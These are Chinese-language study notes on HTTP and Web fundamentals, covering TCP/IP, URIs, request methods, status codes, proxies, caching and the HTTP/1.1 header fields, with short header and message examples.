1.了解 Web 及网络基础

1.2 HTTP的诞生

HTTP通常被译为超文本传输协议,但并不严谨。
严谨译名应该是超文本转移协议

现在已提出了 3 项 WWW 构建技术,分别是:
1.把 SGML(Standard Generalized Markup Language,标准通用标记语言)作为页面的文本标记语言的HTML(HyperText Markup Language,超文本标记语言);
2.作为文档传递协议的HTTP
3.指定文档所在地址的 URL(Uniform Resource Locator,统一资源定位符)。

WWW 这一名称,是 Web 浏览器当年用来浏览超文本的客户端应用程序时的名称。
现在则用来表示这一系列的集合,也可简称为 Web

1.2.2 Web 成长时代

1990 年 11 月,CERN 成功研发了世界上第一台 Web 服务器和 Web 浏览器。
两年后的 1992 年 9 月,日本第一个网站的主页上线了。(http://www.ibarakiken.gr.jp/www/)
1990 年,大家针对 HTML 1.0 草案进行了讨论,但草案被直接废弃了
1993 年 1 月,现代浏览器的祖先 NCSA(National Center for SupercomputerApplications,美国国家超级计算机应用中心)研发的 Mosaic 问世了。
HTTP 于 1990 年问世。

1.3 网络基础 TCP/IP

1.3.1 TCP/IP 协议族

协议集合起来总称为 TCP/IP。
计算机与网络设备要相互通信,双方就必须基于相同的方法
不同的硬件、操作系统之间的通信,所有的这一切都需要一种规则。
而我们就把这种规则称为协议(protocol)

协议中存在各式各样的内容
从电缆的规格到 IP 地址的选定方法、寻找异地用户的方法、双方建立通信的顺序,以及 Web 页面显示需要处理的步骤,等等。

1.3.2 TCP/IP 的分层管理

TCP/IP参考模型分为4层:应用层、传输层、网络层和数据链路层。
OSI参考模型分为7层:应用层、表示层、会话层、传输层、网络层、数据链路层、物理层。

应用层:决定了向用户提供应用服务时通信的活动。
传输层:提供处于网络连接中的两台计算机之间的数据传输。
网络层:用来处理在网络上流动的数据包。
链路层:用来处理连接网络的硬件部分。

1.3.3 TCP/IP 通信传输流


发送端在层与层之间传输数据时,每经过一层时必定会被打上一个该层所属的首部信息
反之,接收端在层与层传输数据时,每经过一层时会把对应的首部消去
这种把数据信息包装起来的做法称为封装(encapsulate)。

1.4 与HTTP关系密切的协议:IP、TCP和DNS

1.4.1 负责传输的 IP 协议

IP 协议的作用是把各种数据包传送给对方。
而要保证确实传送到对方那里,则需要满足各类条件。
其中两个重要的条件是 IP 地址和 MAC 地址(Media Access Control Address)。

IP 地址可变换,但 MAC 地址基本上不会更改

通常是经过多台计算机和网络设备中转才能连接到对方。
而在进行中转时,会利用下一站中转设备的 MAC 地址来搜索下一个中转目标。
这时,会采用ARP 协议(Address Resolution Protocol)。
ARP 是一种用以解析地址的协议,根据通信方的 IP 地址就可以反查出对应的 MAC 地址。

无论哪台计算机、哪台网络设备,它们都无法全面掌握互联网中的细节。

1.4.2 确保可靠性的 TCP 协议

TCP 位于传输层,提供可靠的字节流服务。
所谓的字节流服务(Byte Stream Service)是指,为了方便传输,将大块数据分割成
以报文段(segment)为单位的数据包
进行管理。
而可靠的传输服务是指,能够把数据准确可靠地传给对方。

1.4.2.1 确保数据能到达目标

TCP 协议采用了三次握手(three-wayhandshaking)策略。
握手过程中使用了 TCP 的标志(flag) —— SYN(synchronize) 和 ACK(acknowledgement)。

1.5 负责域名解析的 DNS 服务

它提供域名到 IP 地址之间的解析服务。

1.6 各种协议与 HTTP 协议的关系

1.7 URI 和 URL

URI(统一资源标识符)
URL(统一资源定位符)
URI 用字符串标识某一互联网资源,而 URL 表示资源的地点(互联网上所处的位置)。
可见 URL 是 URI 的子集。

1.7.2 URI 格式

相对 URL,是指从浏览器中基本 URI 处指定的 URL,形如 /image/logo.gif。

方案名:不区分字母大小写,最后附一个冒号(:)。也可使用 data: 或 javascript: 这类指定数据或脚本程序的方案名
登录信息(认证):指定用户名和密码作为从服务器端获取资源时必要的登录信息(身份认证)。此项是可选项。
服务器地址:还可以是 [0:0:0:0:0:0:0:1] 这样用方括号括起来的 IPv6 地址名。

1.8 补充

有一些用来制定 HTTP 协议技术标准的文档,它们被称为 RFC(Requestfor Comments,征求修正意见书)。
如果这款应用程序的使用者非常多,其他的客户端或服务器端必然都不得不去配合它。

2.简单的 HTTP 协议

##2.1 HTTP 协议用于客户端和服务器端之间的通信
用 HTTP 协议能够明确区分哪端是客户端,哪端是服务器端。

2.2 通过请求和响应的交换达成通信

请求报文是由请求方法、请求 URI、协议版本、可选的请求首部字段和内容实体构成的。

以一空行分隔,之后的内容称为资源实体的主体。

响应报文基本上由协议版本、状态码(表示请求成功或失败的数字代码)、用以解释状态码的原因短语、可选的响应首部字段以及实体主体构成。

2.3 HTTP 是不保存状态的协议

HTTP 这个级别,协议对于发送过的请求或响应都不做持久化处理。
为了更快地处理大量事务,确保协议的可伸缩性,而特意把 HTTP 协议设计成如此简单的。
无状态协议当然也有它的优点。由于不必保存状态,自然可减少服务器的 CPU 及内存资源的消耗。

为了实现期望的保持状态功能,于是引入了 Cookie技术。
有了 Cookie 再用 HTTP 协议通信,就可以管理状态了。

2.4 请求 URI 定位资源

如果不是访问特定资源而是对服务器本身发起请求,可以用一个 * 来代替请求 URI。

2.5 告知服务器意图的 HTTP 方法

2.5.1 GET :获取资源

如果请求的资源是文本,那就保持原样返回;
如果是像CGI(Common Gateway Interface,通用网关接口)那样的程序,则返回经过执行后的输出结果

用 GET 方法也可以传输实体的主体.

2.5.2 POST:传输实体主体

不用 POST 获取响应的主体内容。

2.5.3 PUT:传输文件

PUT 方法用来传输文件。
PUT 方法自身不带验证机制,任何人都可以上传文件 , 存在安全性问题,因此一般的 Web 网站不使用该方法。

若配合 Web 应用程序的验证机制,或架构设计采用 REST(表征状态转移)标准的同类 Web 网站,就可能会开放使用 PUT 方法。

2.5.4 HEAD:获得报文首部

HEAD 方法和 GET 方法一样,只是不返回报文主体部分。
用于确认 URI 的有效性及资源更新的日期时间等。

2.5.5 DELETE:删除文件

DELETE 方法用来删除文件,是与 PUT 相反的方法,且不带验证机制。

2.5.6 OPTIONS:询问支持的方法

OPTIONS 方法用来查询针对请求 URI 指定的资源支持的方法

2.5.7 TRACE:追踪路径

TRACE 方法是让 Web 服务器端将之前的请求通信环回给客户端的方法。

发送请求时,在 Max-Forwards 首部字段中填入数值,每经过一个服务器端就将该数字减 1,当数值刚好减到 0 时,就停止继续传输,最后接收到请求的服务器端则返回状态码 200 OK 的响应。
客户端通过 TRACE 方法可以查询发送出去的请求是怎样被加工修改 / 篡改的。
这是因为,请求想要连接到源目标服务器可能会通过代理中转,TRACE 方法就是用来确认连接过程中发生的一系列操作。

TRACE 方法本来就不怎么常用,再加上它容易引发 XST(Cross-SiteTracing,跨站追踪)攻击,通常就更不会用到了。

2.5.8 CONNECT:要求用隧道协议连接代理

CONNECT 方法要求在与代理服务器通信时建立隧道,实现用隧道协议进行 TCP 通信。
主要使用 SSL(Secure Sockets Layer,安全套接层)和 TLS(Transport LayerSecurity,传输层安全)协议把通信内容加 密后经网络隧道传输。

2.6 使用方法下达命令

方法名区分大小写方法 说明
支持的 HTTP 协议版本
GET 获取资源 1.0、1.1
POST 传输实体主体 1.0、1.1
PUT 传输文件 1.0、1.1
HEAD 获得报文首部 1.0、1.1
DELETE 删除文件 1.0、1.1
OPTIONS 询问支持的方法 1.1
TRACE 追踪路径 1.1
CONNECT 要求用隧道协议连接代理 1.1
LINK 建立和资源之间的联系 1.0
UNLINE 断开连接关系 1.0,注意要用大写字母。

2.7 持久连接节省通信量

每进行一次 HTTP 通信就要断开一次 TCP 连接。
可随着 HTTP 的普及,文档中包含大量图片的情况多了起来。
比如:使用浏览器浏览一个包含多张图片的 HTML 页面时,在发送请求访问 HTML页面资源的同时,也会请求该 HTML 页面里包含的其他资源。因此,每次的请求都会造成无谓的 TCP 连接建立和断开,增加通信量的开销。

2.7.1 持久连接

为解决上述 TCP 连接的问题,HTTP/1.1 和一部分的 HTTP/1.0 想出了持久连接,也称为 HTTP keep-alive 或 HTTP connectionreuse的方法。

持久连接的特点是,只要任意一端没有明确提出断开连接,则保持TCP 连接状态。
持久连接的好处在于减少了 TCP 连接的重复建立和断开所造成的额外开销,减轻了服务器端的负载。
减少开销的那部分时间,使 HTTP 请求和响应能够更早地结束,这样 Web 页面的显示速度也就相应提高了。

在 HTTP/1.1 中,所有的连接默认都是持久连接。

2.7.2 管线化

管线化技术出现后,不用等待响应亦可直接发送下一个请求。
能够做到同时并行发送多个请求,而不需要一个接一个地等待响应了。

Cookie 会根据从服务器端发送的响应报文内的一个叫做 Set-Cookie 的首部字段信息,通知客户端保存 Cookie。

状态一:没有 Cookie 信息状态下的请求

状态二:第 2 次以后(存有 Cookie 信息状态)的请求

3.HTTP 报文内的 HTTP 信息

3.1 HTTP 报 文

HTTP 报文本身是由多行(用CR+LF 作换行符)数据构成的字符串文本。
HTTP 报文大致可分为报文首部和报文主体两块。两者由最初出现的空行(CR+LF)来划分。
通常,并不一定要有报文主体。

3.2 请求报文及响应报文的结构


一般有 4 种首部,分别是:通用首部、请求首部、响应首部和实体首部。
其他中可能包含 HTTP 的 RFC 里未定义的首部(Cookie 等)。

3.3 编码提升传输速率

HTTP 在传输数据时可以按照数据原貌直接传输,但也可以在传输过程中通过编码(压缩)提升传输速率。
但是,编码的操作需要计算机来完成,因此会消耗更多的 CPU 等资源。

3.3.1 报文主体和实体主体的差异

报文
是 HTTP 通信中的基本单位,由 8 位组字节流(octet sequence,其中 octet为 8 个比特)组成,通过 HTTP 通信传输。
实体
作为请求或响应的有效载荷数据(补充项)被传输,其内容由实体首部和实体主体组成。

实体和报文主体区别
通常,报文主体等于实体主体。只有当传输中进行编码操作时,实体主体的内容发生变化,才导致它和报文主体产生差异。

3.3.2 压缩传输的内容编码

内容编码指明应用在实体内容上的编码格式,并保持实体信息原样压缩。

常用的内容编码有以下几种。
gzip(GNU zip)
compress(UNIX 系统的标准压缩)
deflate(zlib)
identity(不进行编码)

3.3.3 分割发送的分块传输编码

在传输大容量数据时,通过把数据分割成多块,能够让浏览器逐步显示页面。
每一块都会用十六进制来标记块的大小,而实体主体的最后一块会使用“0(CR+LF)”来标记。

HTTP/1.1 中存在一种称为传输编码(Transfer Coding)的机制,它可以在通信时按某种编码方式传输,但只定义作用于分块传输编码中。

3.4 发送多种数据的多部分对象集合

MIME(Multipurpose Internet Mail Extensions,多用途因特网邮件扩展)机制,它允许邮件处理文本、图片、视频等多个不同类型的数据。
例如,图片等二进制数据以ASCII 码字符串编码的方式指明,就是利用 MIME 来描述标记数据类型。
而在 MIME扩展中会使用一种称为多部分对象集合(Multipart)的方法,来容纳多份不同类型的数据。
在 HTTP 报文中使用多部分对象集合时,需要在首部字段里加上 Content-type。有关这个首部字段,我们稍后讲解。

多部分对象集合包含的对象如下:
multipart/form-data
在 Web 表单文件上传时使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Content-Type: multipart/form-data; boundary=AaB03x   // boundary 划分字符串

--AaB03x
Content-Disposition: form-data; name="field1"
Content-Range: bytes 500-999/8000 //(范围指定的数据)

Joe Blow
--AaB03x
Content-Type: application/pdf // 可以含有首部字段
Content-Disposition: form-data; name="pics"; filename
Content-Range: bytes 7000-7999/8000

...(file1.txt的数据)...
--AaB03x-- // 最后

multipart/byteranges
状态码 206(Partial Content,部分内容)响应报文包含了多个范围的内容时使用。

使用 boundary 字符串来划分多部分对象集合指明的各类实体。
在 boundary 字符串指定的各个实体的起始行之前插入“–”标记(例如:–AaB03x、–THIS_STRING_SEPARATES),
而在多部分对象集合对应的字符串的最后插入“–”标记(例如:–AaB03x–、–THIS_STRING_SEPARATES–)作为结束。

多部分对象集合的每个部分类型中,都可以含有首部字段。
另外,可以在某个部分中嵌套使用多部分对象集合。

3.5 获取部分内容的范围请求

所谓恢复是指能从之前下载中断处恢复下载。
要实现该功能需要指定下载的实体范围。
像这样,指定范围发送的请求叫做范围请求(Range Request)。
对一份 10 000 字节大小的资源,如果使用范围请求,可以只请求 5001~10 000 字节内的资源。

5001~10 000 字节

1
Range: bytes=5001-10000

从 5001 字节之后全部的

1
Range: bytes=5001-

从一开始到 3000 字节和 5000~7000 字节的多重范围

1
Range: bytes=-3000, 5000-7000

针对范围请求,响应会返回状态码为 206 Partial Content 的响应报文。
另外,对于多重范围的范围请求,响应会在首部字段 Content-Type 标明 multipart/byteranges 后返回响应报文

3.6 内容协商返回最合适的内容

当浏览器的默认语言为英语或中文,访问相同 URI 的 Web 页面时,则会显示对应的英语版或中文版的 Web 页面。这样的机制称为内容协商(Content Negotiation)。

内容协商会以响应资源的语言、字符集、编码方式等作为判断的基准
首部字段如下:
Accept
Accept-Charset
Accept-Encoding
Accept-Language
Content-Language

1.服务器驱动协商(Server-driven Negotiation)
以请求的首部字段为参考,在服务器端自动处理。
2.客户端驱动协商(Agent-driven Negotiation)
用户从浏览器显示的可选项列表中手动选择。
3.透明协商(Transparent Negotiation)
是服务器驱动和客户端驱动的结合体,是由服务器端和客户端各自进行内容协商的一种方法。

4. 返回结果的 HTTP 状态码

4.1 状态码告知从服务器端返回的请求结果

数字中的第一位指定了响应类别,后两位无分类。

1
2
3
4
5
6
类别   原因短语
1XX Informational(信息性状态码) 接收的请求正在处理
2XX Success(成功状态码) 请求正常处理完毕
3XX Redirection(重定向状态码) 需要进行附加操作以完成请求
4XX Client Error(客户端错误状态码) 服务器无法处理请求
5XX Server Error(服务器错误状态码) 服务器处理请求出错

只要遵守状态码类别的定义,即使改变 RFC2616 中定义的状态码,或服务器端自行创建状态码都没问题。
仅记录在 RFC2616 上的 HTTP 状态码就达 40 种,扩展数量达到 60 余种,经常使用的大概只有 14 种。

4.2 2XX 成功

4.2.1 200 OK

4.2.2 204 No Content

请求处理成功,但没有资源返回

一般在只需要从客户端往服务器发送信息,而对客户端不需要发送新信息内容的情况下使用。

4.2.3 206 Partial Content

表示客户端进行了范围请求,而服务器成功执行了这部分的 GET 请求。

4.3 3XX 重定向

4.3.1 301 Moved Permanently

永久性重定向。

4.3.2 302 Found

临时性重定向。
和 301 Moved Permanently 状态码相似,但 302 状态码代表的资源不是被永久移动,只是临时性质的。

4.3.3 303 See Other

该状态码表示由于请求对应的资源存在着另一个 URI,应使用 GET 方法定向获取请求的资源。
303 状态码和 302 Found 状态码有着相同的功能,但 303 状态码明确表示客户端应当采用 GET 方法获取资源,这点与 302 状态码有区别。

4.3.4 304 Not Modified

服务器端资源为改变,可直接使用客户端未过期的缓存。
304返回时,不包含任何相应主体部分。

4.3.5 307 Temporary Redirect

临时重定向。
尽管 302 标准禁止 POST 变换成 GET,但实际使用时大家并不遵守。
307 会遵照浏览器标准,不会从 POST 变成 GET。

4.4 4XX 客户端错误

4.4.1 400 Bad Request

该状态码表示请求报文中存在语法错误。

4.4.2 401 Unauthorized

表示发送的请求需要有通过 HTTP 认证(BASIC 认证、DIGEST 认证)的认证信息。
另外若之前已进行过 1 次请求,则表示用 户认证失败。

当浏览器初次接收到 401 响应,会弹出认证(登录)用的对话窗口。

4.4.3 403 Forbidden

表明对请求资源的访问被服务器拒绝了。
服务器端没有必要给出拒绝的详细理由,但如果想作说明的话,可以在实体的主体部分对原因进行描述,这样就能让用户看到了。

未获得文件系统的访问授权,访问权限出现某些问题(从未授权的发送源 IP 地址试图访问)等列举的情况都可能是发生 403 的原因。

4.4.4 404 Not Found

该状态码表明服务器上无法找到请求的资源。

4.5 5XX 服务器错误

4.5.1 500 Internal Server Error

内部资源出故障了

4.5.2 503 Service Unavailable

表明服务器暂时处于超负载或正在进行停机维护,现在无法处理请求。

如果事先得知解除以上状况需要的时间,最好写入 RetryAfter 首部字段再返回给客户端。

5.与 HTTP 协作的 Web 服务器

5.1 用单台虚拟主机实现多个域名

HTTP/1.1 规范允许一台 HTTP 服务器搭建多个 Web 站点。
因为利用了虚拟主机(Virtual Host,又称虚拟服务器)的功能。

由于虚拟主机可以寄存多个不同主机名和域名的 Web 网站,因此在发送 HTTP 请求时,必须在 Host 首部内完整指定主机名或域名的 URI。

5.2 通信数据转发程序:代理、网关、隧道

通信数据转发的应用程序,例如代理、网关和隧道。

代理
代理是一种有转发功能的应用程序,它扮演了位于服务器和客户端中间人的角色,接收由客户端发送的请求并转发给服务器,同时也接收服务器返回的响应并转发给客户端。

网关
网关是转发其他服务器通信数据的服务器,接收从客户端发送来的请求时,它就像自己拥有资源的源服务器一样对请求进行处理。有时客户端可能都不会察觉,自己的通信目标是一个网关。

隧道
隧道是在相隔甚远的客户端和服务器两者之间进行中转,并保持双方通信连接的应用程序。

5.2.1 代理

代理不改变请求 URI,会直接发送给前方持有资源的目标服务器。
持有资源实体的服务器被称为源服务器
从源服务器返回的响应经过代理服务器后再传给客户端。

转发时,需要附加 Via 首部字段以标记出经过的主机信息。

使用代理服务器的理由有:利用缓存技术(稍后讲解)减少网络带宽的流量,组织内部针对特定网站的访问控制,以获取访问日志为主要目的,等等。

代理有多种使用方法,按两种基准分类。一种是是否使用缓存,另一种是是否会修改报文。

缓存代理
缓存代理(Caching Proxy)会预先将资源的副本(缓存)保存在代理服务器上。

透明代理
不对报文做任何加工的代理类型被称为透明代理(Transparent Proxy)。
反之,对报文内容进行加工的代理被称为非透明代理。

5.2.2 网关

网关能使通信线路上的服务器提供非 HTTP 协议服务。
利用网关能提高通信的安全性,因为可以在客户端与网关之间的通信线路上加密以确保连接的安全。
比如,网关可以连接数据库,使用 SQL 语句查询数据。
另外,在Web 购物网站上进行信用卡结算时,网关可以和信用卡结算系统联动。

5.2.3 隧道

使用 SSL 等加密手段进行通信。
隧道本身不会去解析 HTTP 请求。

5.3 保存资源的缓存

缓存服务器是代理服务器的一种,并归类在缓存代理类型中。
缓存服务器的优势在于利用缓存可避免多次从源服务器转发资源。

5.3.1 缓存的有效期限

5.3.2 客户端的缓存

缓存不仅可以存在于缓存服务器内,还可以存在客户端浏览器中。

5.4 在 HTTP 出现之前的协议

FTP(File Transfer Protocol)
传输文件时使用的协议。该协议历史久远,可追溯到 1973 年前后,比TCP/IP 协议族的出现还要早。虽然它在 1995 年被 HTTP 的流量(Traffic)超越,但时至今日,仍被广泛沿用。
NNTP(Network News Transfer Protocol)
用于 NetNews 电子会议室内传送消息的协议。在 1986 年前后出现,属于比较古老的一类协议。现在,利用 Web 交换信息已成主流,所以该协议已经不怎么使用了。
Archie
搜索 anonymous FTP 公开的文件信息的协议。1990 年前后出现,现在已经不常使用。
WAIS(Wide Area Information Servers)
以关键词检索多个数据库使用的协议。1991 年前后出现。由于现在已经被HTTP 协议替代,也已经不怎么使用了。
Gopher
查找与互联网连接的计算机内信息的协议。1991 年前后出现,由于现在已经被 HTTP 协议替代,也已经不怎么使用了。

6. HTTP 首部

6.2 HTTP 首部字段

6.2.1 HTTP 首部字段传递重要信息

使用首部字段是为了给浏览器和服务器提供报文主体大小、所使用的语言、认证信息等内容。

6.2.2 HTTP 首部字段结构

HTTP 首部字段是由首部字段名和字段值构成的,中间用冒号“:” 分隔。
HTTP 首部字段可以有多个值

1
Keep-Alive: timeout=15, max=100

若 HTTP 首部字段重复了会如何?
根据浏览器内部处理逻辑的不同,结果可能并不一致。
有些浏览器会优先处理第一次出现的首部字段,而有些则会优先处理最后出现的首部字段。

6.2.3 4 种 HTTP 首部字段类型

通用首部字段(General Header Fields)
请求报文和响应报文两方都会使用的首部。
请求首部字段(Request Header Fields)
从客户端向服务器端发送请求报文时使用的首部。补充了请求的附加内容、客户端信息、响应内容相关优先级等信息
响应首部字段(Response Header Fields)
从服务器端向客户端返回响应报文时使用的首部。补充了响应的附加内容,也会要求客户端附加额外的内容信息。
实体首部字段(Entity Header Fields)
针对请求报文和响应报文的实体部分使用的首部。补充了资源内容更新时间等与实体有关的信息。

6.2.4 HTTP/1.1 首部字段一览

HTTP/1.1 规范定义了如下 47 种首部字段。

表 6-1:通用首部字段

1
2
3
4
5
6
7
8
9
10
首部字段名 说明
Cache-Control 控制缓存的行为
Connection 逐跳首部、连接的管理
Date 创建报文的日期时间
Pragma 报文指令
Trailer 报文末端的首部一览
Transfer-Encoding 指定报文主体的传输编码方式
Upgrade 升级为其他协议
Via 代理服务器的相关信息
Warning 错误通知

表 6-2:请求首部字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
首部字段名 说明
Accept 用户代理可处理的媒体类型
Accept-Charset 优先的字符集
Accept-Encoding 优先的内容编码
Accept-Language 优先的语言(自然语言)
Authorization Web认证信息
Expect 期待服务器的特定行为
From 用户的电子邮箱地址
Host 请求资源所在服务器
If-Match 比较实体标记(ETag)
If-Modified-Since 比较资源的更新时间
If-None-Match 比较实体标记(与 If-Match 相反)
If-Range 资源未更新时发送实体 Byte 的范围请求
If-Unmodified-Since 比较资源的更新时间(与If-Modified-Since相反)
Max-Forwards 最大传输逐跳数
Proxy-Authorization 代理服务器要求客户端的认证信息
Range 实体的字节范围请求
Referer 对请求中 URI 的原始获取方
TE 传输编码的优先级
User-Agent HTTP 客户端程序的信息

表 6-3:响应首部字段

1
2
3
4
5
6
7
8
9
10
首部字段名 说明
Accept-Ranges 是否接受字节范围请求
Age 推算资源创建经过时间
ETag 资源的匹配信息
Location 令客户端重定向至指定URI
Proxy-Authenticate 代理服务器对客户端的认证信息
Retry-After 对再次发起请求的时机要求
Server HTTP服务器的安装信息
Vary 代理服务器缓存的管理信息
WWW-Authenticate 服务器对客户端的认证信息

表 6-4:实体首部字段

1
2
3
4
5
6
7
8
9
10
11
首部字段名 说明
Allow 资源可支持的HTTP方法
Content-Encoding 实体主体适用的编码方式
Content-Language 实体主体的自然语言
Content-Length 实体主体的大小(单位:字节)
Content-Location 替代对应资源的URI
Content-MD5 实体主体的报文摘要
Content-Range 实体主体的位置范围
Content-Type 实体主体的媒体类型
Expires 实体主体过期的日期时间
Last-Modified 资源的最后修改日期时间

6.2.5 非 HTTP/1.1 首部字段

还有 CookieSet-CookieContent-Disposition 等在其他 RFC 中定义的首部字段,它们的使用频率也很高。
这些非正式的首部字段统一归纳在 RFC4229 HTTP Header Field Registrations 中。

6.2.6 End-to-end 首部和 Hop-by-hop 首部

HTTP 首部字段将定义成缓存代理非缓存代理的行为,分成 2 种类型。
端到端首部(End-to-end Header)
分在此类别中的首部会转发给请求 / 响应对应的最终接收目标,且必须保存在由缓存生成的响应中,另外规定它必须被转发

逐跳首部(Hop-by-hop Header)
分在此类别中的首部只对单次转发有效,会因通过缓存或代理而不再转发
HTTP/1.1 和之后版本中,如果要使用 hop-by-hop 首部,需提供 Connection 首部字段。

8 个首部字段:
Connection
Keep-Alive
Proxy-Authenticate
Proxy-Authorization
Trailer
TE
Transfer-Encoding
Upgrade

6.3 HTTP/1.1 通用首部字段

6.3.1 Cache-Control

指令的参数是可选的,多个指令之间通过“,”分隔。

1
Cache-Control: private, max-age=0, no-cache

Cache-Control 指令一览

表 6-5:缓存请求指令

1
2
3
4
5
6
7
8
no-cache 无 强制向源服务器再次验证
no-store 无 不缓存请求或响应的任何内容
max-age = [ 秒] 必需 响应的最大Age值
max-stale( = [ 秒]) 可省略 接收已过期的响应
min-fresh = [ 秒] 必需 期望在指定时间内的响应仍有效
no-transform 无 代理不可更改媒体类型
only-if-cached 无 从缓存获取资源
cache-extension - 新指令标记(token)

表 6-6:缓存响应指令

1
2
3
4
5
6
7
8
9
10
public 无 可向任意方提供响应的缓存
private 可省略 仅向特定用户返回响应
no-cache 可省略 缓存前必须先确认其有效性
no-store 无 不缓存请求或响应的任何内容
no-transform 无 代理不可更改媒体类型
must-revalidate 无 可缓存但必须再向源服务器进行 确认
proxy-revalidate 无 要求中间缓存服务器对缓存的响应有效性再进行确认
max-age = [ 秒] 必需 响应的最大Age值
s-maxage = [ 秒] 必需 公共缓存服务器响应的最大Age值
cache-extension - 新指令标记(token)

表示是否能缓存的指令

public 指令
1
Cache-Control: public

当指定使用 public 指令时,则明确表明其他用户也可利用缓存。

private 指令
1
Cache-Control: private

只以特定的用户作为对象,这与 public 指令的行为相反。

no-cache 指令

防止从缓存中返回过期的资源。
客户端发送的请求中如果包含 no-cache 指令,则表示客户端将不会接收缓存过的响应。
服务器返回的响应中包含 no-cache 指令,那么缓存服务器不能对资源进行缓存。

1
Cache-Control: no-cache=Location

若报文首部字段 Cache-Control 中对 no-cache 字段名具体指定参数值,那么客户端在接收到这个被指定参数值的首部字段对应的响应报文后,就不能使用缓存。
换言之,无参数值的首部字段可以使用缓存。
只能在响应指令中指定该参数。

控制可执行缓存的对象的指令

no-store 指令
1
Cache-Control: no-store

当使用 no-store 指令时,暗示请求(和对应的响应)或响应中包含机密信息。
因此,该指令规定缓存不能在本地存储请求或响应的任一部分。

指定缓存期限和认证的指令

s-maxage 指令
1
Cache-Control: s-maxage=604800(单位 :秒)

s-maxage 指令的功能和 max-age 指令的相同,它们的不同点是 s-maxage 指令只适用于供多位用户使用的公共缓存服务器(代理)。
当使用 s-maxage 指令后,则直接忽略对 Expires 首部字段及 max-age 指令的处理。

max-age 指令
1
Cache-Control: max-age=604800(单位:秒)

当指定 max-age 值为0,那么缓存服务器通常需要将请求转发给源服务器。

HTTP/1.1 版本的缓存服务器遇到同时存在 Expires 首部字段的情况时,会优先处理 max-age 指令,而忽略掉 Expires 首部字段。
而 HTTP/1.0 版本的缓存服务器的情况却相反,max-age 指令会被忽略掉。

min-fresh 指令
1
Cache-Control: min-fresh=60(单位:秒)

比如,当指定 min-fresh 为 60 秒后,过了 60 秒的资源都无法作为响应返回了。

max-stale 指令
1
Cache-Control: max-stale=3600(单位:秒)

可指示缓存资源,即使过期也照常接收。
如果指令中指定了具体数值,那么即使过期,只要仍处于 max-stale 指定的时间内,仍旧会被客户端接收。

only-if-cached 指令
1
Cache-Control: only-if-cached

表示客户端仅在缓存服务器本地缓存目标资源的情况下才会要求其返回。
换言之,该指令要求缓存服务器不重新加载响应,也不会再次确认资源有效性。

must-revalidate 指令
1
Cache-Control: must-revalidate

代理会向源服务器再次验证即将返回的响应缓存目前是否仍然有效。
使用 must-revalidate 指令会忽略请求的 max-stale 指令。

proxy-revalidate 指令
1
Cache-Control: proxy-revalidate

要求所有的缓存服务器在接收到客户端带有该指令的请求返回响应之前,必须再次验证缓存的有效性。

no-transform 指令
1
Cache-Control: no-transform

缓存都不能改变实体主体的媒体类型。
可防止缓存或代理压缩图片等类似操作。

Cache-Control 扩展

cache-extension token
1
Cache-Control: private, community="UCI"

通过 cache-extension 标记(token),可以扩展 Cache-Control 首部字段内的指令。
如果缓存服务器不能理解 community 这个新指令,就会直接忽略。

6.3.2 Connection

Connection 首部字段具备如下两个作用。

1.控制不再转发给代理的首部字段
2.管理持久连接

控制不再转发给代理的首部字段

1
Connection: 不再转发的首部字段名

使用 Connection 首部字段,可控制不再转发给代理的首部字段(即 Hop-by-hop 首部)。

管理持久连接

1
Connection: close

HTTP/1.1 版本的默认连接都是持久连接。
当服务器端想明确断开连接时,则指定 Connection 首部字段的值为 Close。
如果想在旧版本的 HTTP 协议上维持持续连接,则需要指定 Connection 首部字段的值为 Keep-Alive。

6.3.3 Date

HTTP/1.1 协议使用在 RFC1123 格式

1
Date: Tue, 03 Jul 2012 04:40:59 GMT

HTTP 协议版本中使用在 RFC850 格式

1
Date: Tue, 03-Jul-12 04:40:59 GMT

除此之外,还有一种格式。它与 C 标准库内的 asctime() 函数的输出格式一致。

1
Date: Tue Jul 03 04:40:59 2012

6.3.4 Pragma

Pragma 是 HTTP/1.1 之前版本的历史遗留字段,仅作为与 HTTP/1.0 的向后兼容而定义。

1
Pragma: no-cache

兼容模式

1
2
Cache-Control: no-cache
Pragma: no-cache

6.3.5 Trailer

首部字段 Trailer 会事先说明在报文主体记录了哪些首部字段。
该首部字段可应用在 HTTP/1.1 版本分块传输编码时。

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Date: Tue, 03 Jul 2012 04:40:56 GMT
Content-Type: text/html
...
Transfer-Encoding: chunked
Trailer: Expires

...(报文主体)...
0
Expires: Tue, 28 Sep 2004 23:59:59 GMT

以上用例中,指定首部字段 Trailer 的值为 Expires,在报文主体之后(分块长度 0 之后)出现了首部字段 Expires。

6.3.6 Transfer-Encoding

规定了传输报文主体时采用的编码方式。

6.3.7 Upgrade

首部字段 Upgrade 用于检测 HTTP 协议及其他协议是否可使用更高的版本进行通信,其参数值可以用来指定一个完全不同的通信协议。
首部字段 Upgrade 指定的值为 TLS/1.0。请注意此处两个字段首部字段的对应关系,Connection 的值被指定为 Upgrade。
因此,使用首部字段 Upgrade 时,还需要额外指定 Connection:Upgrade。

6.3.8 Via

使用首部字段 Via 是为了追踪客户端与服务器之间的请求和响应报文的传输路径
各个代理服务器会往Via首部添加自身服务器的信息

Via 首部是为了追踪传输路径,所以经常会和 TRACE 方法一起使用。

6.3.9 Warning

该首部通常会告知用户一些与缓存相关的问题的警告。
HTTP/1.1 中定义了 7 种警告。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
110
Response is stale (响应已过期) 代理返回已过期的资源
111
Revalidation failed(再验证失败) 代理再验证资源有效性时失败(服务器无法到达等原因)
112
Disconnection operation(断开连接操作) 代理与互联网连接被故意切断
113
Heuristic expiration(试探性过期) 响应的使用期超过24小时(有效缓存的设定时间大于24小时的情况下)
199
Miscellaneous warning(杂项警告) 任意的警告内容
214
Transformation applied(使用了转换) 代理对内容编码或媒体类型等执行了某些处理时
299
Miscellaneous persistent warning(持久杂项警告) 任意的警告内容

6.4 请求首部字段

6.4.1 Accept

用户代理能够处理的媒体类型及媒体类型的相对优先级。

几个媒体类型的例子

文本文件

1
2
text/html, text/plain, text/css ...
application/xhtml+xml, application/xml ...

图片文件

1
image/jpeg, image/gif, image/png ...

视频文件

1
video/mpeg, video/quicktime ...

应用程序使用的二进制文件

1
application/octet-stream, application/zip ...

若想要给显示的媒体类型增加优先级,则使用 q= 来额外表示权重值 1 ,用分号(;)进行分隔。
权重值 q 的范围是 0~1(可精确到小数点后 3 位),且 1 为最大值。
